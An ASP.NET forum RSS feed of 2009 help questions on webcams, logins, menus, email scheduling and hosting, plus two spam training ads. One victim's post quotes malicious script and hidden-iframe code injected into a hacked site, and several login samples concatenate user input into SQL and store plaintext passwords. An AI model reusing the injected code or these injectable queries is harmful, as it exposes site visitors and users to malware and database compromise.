ASP.NET Forum RSS Feed

Image capturing in ASP.NET 3.5 using Webcam

Thu, 19 Nov 2009 23:01:43 -0700

Hi,

I would like to capture the image using WebCam and store it in database. I am using ASP.NET 3.5, C#, Visual Studio 2008, SQL Server 2008, Windows Vista Business (O.S), IIS 7.0 and IE 7.0. I want to integrate WebCam functionality in my Web Application. My requirement is, the end user can view the image (i.e., preview from the WebCam) in the Web page using ActiveX Control (in my case videocapx.ocx is the ActiveX Control). And on clik of "Capture" button, the image has to be capture and stored in database. For this I have installed "VideoCapX" software. I am using "ZEBRONICS" WebCam to capture images. Its model number is "Eagle's eye ZEB-480WC". How can I integrate "videocapx.ocx ActiveX Control" in my web page, so that end user can preview the image.

Please help me out. It is very urgent. Thanks inadvnce.

OR

Is there any way to capture image using webcam @ client side.
In my case both Client & Server are same.
How can I acheive this.
If it is possible using some other way, please give your suggestions.

Thanks & Regards,
VKK Reddy.

Creating menu for a ASP.Net application

Mon, 16 Nov 2009 11:21:11 -0700

Hi,

I am creating an ASP.Net application in VS2008. I would like to create a horizontal menu bar at the top. The values of this menu bar should be dynamic. By dynamic i mean that we should be able to add new values or remove the existing values from the menu bar.

Any suggestions as to how can we implement this? Any small code snippet is welcome.

Thanks in advance.

Login as different user

Mon, 16 Nov 2009 00:48:58 -0700

Hi everybody,

My request out here is Urgent, though i have passed through what I could access in this forum and others also, but cannot finding a working solution.

I have designed an ASP.NET application, at our organizational intranet, I have used Windows Authentication and it worked very efficiently. My problem is, I want my application to ask for re-entering of employee's credential when he clicked on a log out control ( it could be anything - i didn't decided what will trigger log out yet ). I want it to be like Sharepoint page where you can log as another user in the same machine.

I m using following code but not working properly.

protected void Page_Load(object sender, EventArgs e)
    {
        if (!this.IsPostBack)
        {
            _User = User.Identity.Name.Replace("Domain\\", "");
            Label1.Text = _User;
        }
    }
    protected void LinkButton1_Click(object sender, EventArgs e)
    {
       
            Response.StatusCode = 401;
            Response.StatusDescription = "Unauthorized";
            Response.End();
            Response.Redirect("Default.aspx");       
    }

and my HTML or aspx CODE IS

<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <p>Hello <asp:Label ID="Label1" runat="server" Text="Label"></asp:Label></p>
        <asp:LinkButton ID="LinkButton1" runat="server" onclick="LinkButton1_Click">Sign in as Different user</asp:LinkButton>
    </div>
    </form>
</body>
</html>

I am waiting ...

Thanks.

URGENT Login Page-

Mon, 16 Nov 2009 00:04:28 -0700

I HAVE TWO FIELDS IN THE DATABASE TABLE USERNAME AND PASSWORD .& AND THE TWO FIELDS CONTAINING TWO VALUES
. NAME,123
.ADMIN ,123
BUT DURING THE EXECUTION FOR(NAME,123)IT IS GIVING CORRECT RESULT.
FOR(ADMIN,123)IT IS GIVING LOGIN FAILURE.WHY???

Sub validate_click(ByVal s As Object, ByVal e As EventArgs)
Dim con1 As SqlConnection
Dim cmd As SqlCommand
con1 = New SqlConnection("Data Source=YOUR-41B8D18EDE;Initial Catalog=employee;Integrated Security=True")
con1.Open()
cmd = New SqlCommand("select * from logintable ", con1)
Dim dr As SqlDataReader
dr = cmd.ExecuteReader()
If dr.Read() Then
If (txtUserName.Text = dr("username") And txtPassword.Text = dr("password")).ToString Then
Label1.Text = "login success"

Else

Label1.Text = "login failure"
End If

End If

End Sub

Automatic generation of textboxes during text changed event

Sun, 15 Nov 2009 12:36:28 -0700

i already have one textbox.During the text changed event i want to generate three more textboxes.for me it is not working.only textbox4 is creating.why??

Sub textbox1_textchanged(ByVal sender As Object, ByVal e As System.EventArgs)

Dim count As Integer
Dim t As New TextBox
For count = 2 To 4
t.Text = "TextBox" & count.ToString()
t.ID = "TextBox" & count.ToString()

Panel1.Controls.Add(t)

Panel1.Controls.Add(New LiteralControl("<br>"))

MsgBox("vbbvbnv")
Next count
endsub

save .aspx page as .html file

Mon, 09 Nov 2009 10:26:18 -0700

i have looked and looked for this and so far all the code i've downloaded simply doesnt work.
this code (below) works fine - however it opens up the "save file Dialog" and requires that the user select the path to save the .html file.
how can i by-pass that and save the file myself to say - a virtual directory?
any help is greatly appreciated
thanks
rik

Response.Clear()
Response.Buffer = True
Response.ContentType = "application/html"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.AddHeader("Content-Disposition", "attachment;filename=Test.html")
Response.Charset = ""
EnableViewState = False
Dim oStringWriter As System.IO.StringWriter = New System.IO.StringWriter
Dim oHtmlTextWriter As System.Web.UI.HtmlTextWriter = New System.Web.UI.HtmlTextWriter(oStringWriter)
pnMyPanel.RenderControl(oHtmlTextWriter)
Response.Write(oHtmlTextWriter.ToString())
Response.Close()

test asp.net for cross browser compatibility

Fri, 06 Nov 2009 02:55:34 -0700

Hi experts....
i want to know .. is there any tool that allows me to test my website on IE,firefox,safari,opera

Need help in Login Page

Mon, 02 Nov 2009 21:02:32 -0700

There are errors which kept appearing which I cannot debug:

All my textboxes and buttons does not exist in the current context:

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.OleDb;

public partial class _Default : System.Web.UI.Page
{
DBConnect Connect = new DBConnect();
protected void Page_Load(object sender, EventArgs e)
{

if ((string)Session["sFlag"] == "T")

{

LoggedIn();

}
else
{
Session["sName"] = null;
Session["sUserName"] = null;
Session["sAddress"] = null;
Session["sCoContact"] = null;
Session["sPIC"] = null;
Session["sPICContact"] = null;
Session["sFlag"] = "F";
passwordTB.Visible = true;
passwordTB.Text = "";
usernameTB.Visible = true;
usernameTB.Text = "";
usernameTB.Text = "UserID:";
LogoutBT.Visible = false;
LoginBT.Visible = true;

}
}

protected void LoginBT_Click(object sender, EventArgs e)
{
if (usernameTB.Text != "")
{
if (passwordTB.Text != "")
{
OleDbConnection mdb = new OleDbConnection();
OleDbCommand cmd;
OleDbDataReader rdr;
Connect.DBConnection(mdb);
mdb.Open();
string SQLinfo = "SELECT * FROM Customers WHERE cUserName = '" +
usernameTB.Text.ToUpper() + "'";
string SQLlog = "INSERT INTO Log (lName,lLogIn) " +
"VALUES (@UserName, @Date)";
cmd = new OleDbCommand(SQLinfo, mdb);
rdr = cmd.ExecuteReader();
while (rdr.Read())
{
if (passwordTB.Text == (string)rdr["cPassword"])
{
Session["sName"] = rdr["cName"];
Session["sUserName"] = rdr["cUserName"];
Session["sAddress"] = rdr["cCoAddress"];
Session["sCoContact"] = rdr["cCoContact"];
Session["sPIC"] = rdr["cPersonInCharge"];
Session["sPICContact"] = rdr["cPICContact"];
Session["sEmail"] = rdr["cEmail"];
Session["sStatus"] = rdr["cStatus"];
Session["sFlag"] = "T";
rdr.Close();
cmd = new OleDbCommand(SQLlog, mdb);
cmd.Parameters.Add("@UserName", OleDbType.Char).Value = (string)Session["sCoName"];
cmd.Parameters.Add("@Date", OleDbType.Date).Value = DateTime.Now;
cmd.ExecuteNonQuery();
mdb.Close();
LoggedIn();
break;
}
else
{
rdr.Close();
mdb.Close();
usernameTB.Text = "";
passwordTB.Text = "";
Response.Write("<script>alert('Error signing in')</script>");
break;
}
}
mdb.Close();
}
else
{
passwordTB.Focus();
Response.Write("<script>alert('Please enter your password')</script>");
}
}
else
{
usernameTB.Focus();
Response.Write("<script>alert('Please enter your UserID')</script>");
}
}

protected void LogoutBT_Click(object sender, EventArgs e)
{
OleDbConnection mdb = new OleDbConnection();
OleDbCommand cmd;
Connect.DBConnection(mdb);
string SQLlog = "UPDATE Log SET lLogOut = @Date WHERE lCoName = @Name";
cmd = new OleDbCommand(SQLlog, mdb);
cmd.Parameters.Add("@Date", OleDbType.Date).Value = DateTime.Now;
cmd.Parameters.Add("@Name", OleDbType.Char).Value = (string)Session["sUserName"];
mdb.Open();
cmd.ExecuteNonQuery();
mdb.Close();
LoggedOut();
}
protected void LoggedOut()
{
Session["sName"] = null;
Session["sUserName"] = null;
Session["sAddress"] = null;
Session["sCoContact"] = null;
Session["sPIC"] = null;
Session["sPICContact"] = null;
Session["sFlag"] = "F";
passwordTB.Visible = true;
passwordTB.Text = "";
usernameTB.Visible = true;
usernameTB.Text = "";
usernameTB.Text = "UserID:";
LogoutBT.Visible = false;
LoginBT.Visible = true;
Response.Redirect("OnlineRVform.aspx");
}
protected void LoggedIn()
{
passwordTB.Visible = false;
passwordTB.Text = "";
usernameTB.Visible = false;
usernameTB.Text = "";
usernameTB.Text = (string)Session["sPIC"];
LogoutBT.Visible = true;
LoginBT.Visible = false;

}

Please help me. Thank you so much.

Automatic Email Notifications

Sun, 01 Nov 2009 00:54:55 -0700

Hello,

I wrote an asp.net program that is designed to retrieve user data. The process, in which the user can log in to the system and input his data, has a Start Date and an End Date where the user is not allowed to log in before the start date or after the end date.

I want to send an email notification to the users to log in to the system and input their data. This email notification has to be sent on the Start Date of the process (which is stored in an a database table). Additionally, two reminder emails must be sent to the users of the system. The time of sending the email reminder will be calculated automatically by generating two dates between the Start Date and End Date of the process.

The problem I am facing at the moment is how to send the email notification automatically. I wrote the procedure for sending the email notification and I stored it in an asp.net web service. But how can I trigger this procedure on Start Date and on each Reminder Date?

I tried several methods and thought of using timers but to no avail.

Appreciate your help,
shaknon

Can't Recompile My Website

Fri, 30 Oct 2009 23:48:09 -0700

I'm a first time hoster (seekdotnet), so I apologize for the novice question. When I'm working on my local computer, everything is fine, but I'm just having a problem on the hosting server.

I use FileZilla to edit my website. When I edit the main page (.aspx), the system automatically recompiles the changes and everything works fine. However, when I make changes to the CodeBehind page (.aspx.vb), the website doesn't recongize the changes...

I've tried making the changes on my local computer, Build Solution, and everything works. I then delete the web page off the server and upload the new page... but still no changes... I've tried deleting all the files off the sever and uploading everything again, but then I run into a problem where the website is looking for files off the localhost, instead of the server... I had to pay someone $150 originally because I couldn't figure out why the website kept looking for localhost instead of the server. I'm hoping I can learn the cause of this instead of hiring someone again.

I just need to know the easiest way to recompile the changes I make to the codebehind page. Do i need to recompile/reupload the whole site? just the one page that I made changes to? is it something in the global.asax/assembly/web.config that i need to recompile???

Thank you so much to all who answers!!!

Processing power

Wed, 28 Oct 2009 22:19:17 -0700

Hi there

There are three functional requirements that we have put forward to our developers, to check when a windows service is running.
There was one, that involved file swapping.. and re-naming of files.. which sounded obscure from the start.

Could anyone tell me the complications, based on cpu processing power.. with file swapping/renaming files? Like the service would have been checked to see if it's running everytime, how much processing power would this take on a ASP.net application? Also file-integrity issues?

There is a better solution, which developers are more interested in whereby a flag is set in the database when the service is running and on Page_load, it will check to see if this flag has been set. If set, then user will be redirected to 'downtime page', else it will continue onto logon page.

Any resources to help me on this would be great. Or if I could get chatting briefly about this, that would be even better.

Thanks in advance.
Laura

Performance metric tools

Wed, 28 Oct 2009 22:11:36 -0700

Hi everyone,

I've posted this same message in the 'Getting started' forum, but I think it's a little more advanced than that so I'm placing it here in C#.

I'm looking for some assistance on Performance metric tools for an ASP.NET application, written in C#.

Also, these stats must be displayed on the Administration section of the site.

I'm looking for information on how to capture aswell as output the following information:

– How many users on the system when the measures were taken, what pages were the measures taken against. In addition, there should be a break down by page type, for example, how long to login.

Baseline to put the stats into context:

How many users on the system:

Time of day

Date

Then specific stats on:

Page types (does not mean each page, but section of activity like logging on, submission of questionnaire, help retrieval etc)

Speed of request fulfilment, + average + long + wait time

Would Google Analytics could be used here?

Thanks in advance for any help you can offer.

How to include System.Core.dll (.net 3.5) to a .net 2.0 application

Mon, 26 Oct 2009 03:42:34 -0700

My project is in .net framwork 2.0 and i want to use TimezoneInfo class.
When i use the below line..it is giving an error like
" Type TimezoneInfo is not defined"

Dim zones As ReadOnlyCollection(Of TimeZoneInfo) = TimeZoneInfo.GetSystemTimeZones()

Actually my requirement is to get all the timezones and functions for getting time by timezoneId.

How can i use the TimezoneInfo class in .Net 2.0 Application?

Thank you
Dilip.

Client CPU goes up while browsing asp.net page for long time

Sun, 25 Oct 2009 23:50:55 -0700

My application is developed by asp.net with c#, measurement studio, ajax. Every second it has to read some variables (around 100)and write also when you command to write. While browser (IE7) is kept for long opening the page, the client cpu goes up (around 50%) and it occurs slow response. Even the scroll does not work properly.

Any solution?

thanks,
Mamun

how to change Integer to string?

Thu, 22 Oct 2009 02:11:35 -0700

thanks very much

Trouble with ASP.NET on Vista IIS.

Wed, 21 Oct 2009 07:42:13 -0700

I have installed Microsoft Visual Studio 2008 , trial version and I am running it on VISTA SP1. The IIS server is up and running: I am able
to run .php files and .asp files.

In the C# tab , I am choosing File->New -> Project -> .NET Web Application.

As I run a standard empty project, the result should be a blank page , but I receive in my browser the following error: Connection Timeout, Firefox cannot establish a connection with the server localhost:port.
It appears that Microsoft Visual Studio cannot find the page, named default.aspx.

I tried manualy writing default.aspx in the browser address tab , but it gives me the same error.

I have checked in Programs and Features and the .NET Framework is installed.

What can I do to make the website work through .NET?
I will check any comments from you and give you the insight about any details concerning my system.

I am in college and I just started a course on programming in ASP.NET so I urgently need yo make it running.
Thank you in advance!

Adi

Help! Creating an online test

Sat, 17 Oct 2009 08:20:06 -0700

I'm trying to create an online test and I am not very familiar with the radiobuttonlist control.

I have 3 classes..cTest, cQuestion, cAnswer...within cTest I have a generic list of cQuestions, within cQuestion, a generic list of cAnswers.

So my thought was that I could use foreach to display the questions and answers...which worked...however, I'm not sure how to retrieve the selected answers when the user clicks submit. Any ideas?

Also, is this the best way to do things? I like the idea of using generic lists, however would it be better to use DataSets and bind them to the RadioButtonLists?

Any help appreciated

Thanks

PROBLEM: code getting attached to asp.net pages automatically

Thu, 15 Oct 2009 01:31:14 -0700

sir,
i am new to asp.net , just completed one project which was hosted,
but recently the website had a problem
this code
"
<script src=http://anydisk.anyprinting.com/webfolder/index.php ></script>
<div style="display:none">eyryqyngxqodqmlyrudqusfyorybd so<iframe width=420 height=816 src="http://bio-a.ru:8080/index.php" ></iframe></div>
"
was attached automatically to every page of that website automatically, please help me to find, why and how this happened, and how to avoid such problems

Modify repeter control

Mon, 12 Oct 2009 08:37:20 -0700

I have a requirement where repeater code would be like:-

<asp:Repeater ID="test" runat="server">

<ItemTemplate>

<Description></Description>

<Itemno></Itemno>

<ListPrice></ListPrice>

</ItemTemplate>

</asp:Repeater>

This has to be rendered as:-

<asp:Repeater ID="test" runat="server">

<ItemTemplate>

<%# Eval("Description") %>

<%# Eval("Itemno") %>

<%# Eval("ListPrice") %>

</ItemTemplate>

</asp:Repeater>

I am planning to change the repeaters itemtemplate from codebehind.

Kindly let me know if there is a possible way of doing this. If not then what can be the alternate starategy to make it work.

Dynamically Changing SQL Select statement for a GridView

Fri, 09 Oct 2009 08:12:18 -0700

Hi,

I'm using Visual Studio 2005, which I am new too.

My project has a lot of code tables, which all need to be able to be updated. I am trying to come up with a single page to update them all rather than 50+ seperate pages.

So I have a drop down list allowing the user to select the table they want to update. THen I want to populate the GridView with the records from the appropriat code table.

If tried to update the datasource select statement programatically but that doesn't seem to work. I couldpossibly have 50+ datasources and change the datasource, but I'm looking for a more elegent solution. Any suggestions or recommendations?

THanks in advance!

online software training at single click

Wed, 07 Oct 2009 11:50:34 -0700

Wingslive is an online computer software, Softskills training website with more than 50 software courses at lowest cost compared with all online trainers..

Available courese :http://www.wingslive.com/Ws_wl_Web_free_Courses.aspx

site URL:http://www.wingslive.com

payment online domain validation

Fri, 02 Oct 2009 04:10:14 -0700

Hi,

Greetings!

I have a problem w/ posting my form onto an internet payment system called enets.

they told us that we need to pass them 3 values: amount, txnRef, mid

and also, they told us the our system needs to be posting from our domain, site.com lets say.

my question is.. how should i code or let that site know that my system is coming from this domain?

under web.config file, i configured the domain to be :
<authentication mode="Forms">
<forms defaultUrl="site.com" domain="site.com" timeout="120" slidingExpiration="true" loginUrl="~\Login.aspx"/>
</authentication>

under Confirmation.aspx ( have site.master )

METHOD # 1: based on the document, do as how asp / php do, under html:
<form id="form1" runat="server" method="post" action="site.com">
<input type="hidden" name="amount" value="xxx"/>
<input type="hidden" name="txnRef" value="xxx"/>
<input type="hidden" name="mid" value="xxx"/>

METHOD # 2: asp.net
inside code-behind of confirmation.aspx (button click event) : straight
forward sample
Response.Redirect("https://site.com.enps.do?amount =xxx&txnRef=xxx&mid=xxx")

Both method are going to the site, but with the error : "Invalid Merchant web url" <--- just an error created by them

advance thanks!

Free coupon live online Software training

Mon, 28 Sep 2009 21:11:13 -0700

Free Course Link: http://miruslearning.com/en/courses?page=shop.browse&category_id=14

I stumbled upon this website for live online software training. There is a free oarcle sql course course available.

They are having $200 off on various hot courses. Their original prices are also very less than others. Very good timings full day, evening and weekend courses.
Worth checking in this job market to keep your skill up to date!

http://MirusLearning.com

Coupon Code: soft$200off

need help changing a top navigation items link

Mon, 21 Sep 2009 18:01:36 -0700

Hi,

I am new so if this is not the place, please let me know

My problem is this:

I have a site with a top navigation and left nav. The site is all .aspx pages. Someone quit and I have been tasked with updates.

For example, I was asked to rename one of the top nav items and create a page with specific content. The issue is that when I update the page name, it works for this specific page. If I go to a different page, I see the old name and old link. How do I update a link universally when the structure on a page(default.aspx in this example) looks like the below?? It looks like HyperLink ID should be something I can update once and have it update globally? If so where does one typically go to do something like that? Again sorry if I am in wrong place.

Thanks

<li><asp:HyperLink ID="lnkCourses" runat="server" NavigateUrl="~/marketing/marketing.aspx">Marketing< ;/asp:HyperLink></li>

How to use IN () syntax in asp.net datasets (xsd)

Mon, 21 Sep 2009 03:15:37 -0700

Hi,

I use Visual studio datasets to create table adapters etc. for queries. This normally works fine for me with 'simple' queries (i.e. only 1 parameter of type string, int ...). However if I specify the following query in the dataset:

SELECT * from tblTable WHERE tblId IN (@idList)

the query editor accepts, but the generated code will create a function that just accepts a single integer. Changing the type of idList to string and passing in a string in the form of "1,2,3" also doesn't work.

Is it at all possible to use the IN keyword in queries using the datasets, and if so, what is the way to do this?

Thanks very much in advance!

Arthur